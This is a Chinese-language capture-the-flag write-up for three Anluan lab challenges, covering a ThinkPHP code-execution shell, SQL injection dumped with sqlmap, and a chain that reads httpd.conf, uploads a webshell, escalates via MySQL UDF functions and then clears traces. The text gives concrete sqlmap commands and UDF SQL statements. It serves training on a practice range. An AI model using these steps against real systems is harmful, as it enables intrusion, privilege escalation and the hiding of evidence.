前言
最近看到安鸾的靶场有些比较有意思就打了一下午,有一定难度。
一、××租房网 (150分)
http://106.15.50.112:8031/
刚打开burp就报了thinkphp的代码执行
直接getshell
flag:
二、企业网站 (300分)
http://106.15.50.112:8035/
打开就看到闪灵cms
开启sqlmapapi:
去用户界面测试:
这里注册一个验证码直接空就行:
这里有个注入点:
GET /?type=form&S_id=987181647 HTTP/1.1
Host: 106.15.50.112:8035
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Connection: close
Cache-Control: max-age=0
没跑出来:
寻找其他注入点:
那个api跑的慢直接上-r
这里有个flag
sqlmap -r .\test.txt -D scms -T SL_flag -C “flag,id” -dump
三、SQL注入进阶 (550分)
题目URL:http://106.15.50.112:8023/
提示:flag在服务器根目录
感觉像是sql注入后台上传
感觉像是伪静态:
尝试注入:加*
加-dbs参数爆库:
加–tables爆表:
找一下后台:
这里有upload和images:都可以直接访问
寻找上传点:
制作图片马上传:
尝试修改扩展名:(失败)
限制了后缀
寻找其他点:
这里又来sql注入加上刚找的就3个注入点了
使用sqlmap获取一下shell
直接暴力跑路径:
失败(应该是不是默认的路径)
读取一下apache的配置找找路径:可能存在的路径
/etc/httpd/httpd.conf - 这是一种常见的位置,特别是在使用Red Hat或CentOS等发行版的系统中。
/etc/apache2/httpd.conf - 在使用Debian或Ubuntu等系统时,配置文件可能会位于此位置。
/usr/local/apache2/conf/httpd.conf - 如果安装apache通常会在/usr/local目录下找到它。
/etc/httpd/conf/httpd.conf - 在某些系统中也可以在此位置找到配置文件。
这里是这个路径直接读取:
sqlmap -r .\test.txt --file-read="/etc/httpd/conf/httpd.conf"
直接–os-shell(目录权限不够)
用upload试试:(权限不够)
试试其他的目录:
最后images有权限:
cat看不到,可能是权限问题:
可以通过sqlmap上传自己的shell:
sqlmap 会上传自己的马:
选择我们的马上传:
蚁剑上线:
这里查看flag发现权限不够:
这是mysql权限:
尝试suid失败,查看内核版本为5.15.0比较高gcc也没有,mysql的用户可以使用udf提权使用mysql的权限:
这里的密码为空:
查看可导出文件位置
show variables like '%secure%';
这个mysql>5.1版本
这的secure_file_priv为空可以提权
show variables like 'plugin%'
在kali中生成so文件上传到plugin目录
添加sys_exec和sys_eval函数
create function sys_exec returns string soname 'mysqludf3.so'
create function sys_eval returns string soname 'mysqludf3.so'
清除痕迹:
drop function sys_eval;
drop function sys_exec;
删除shell:
可以自己试试。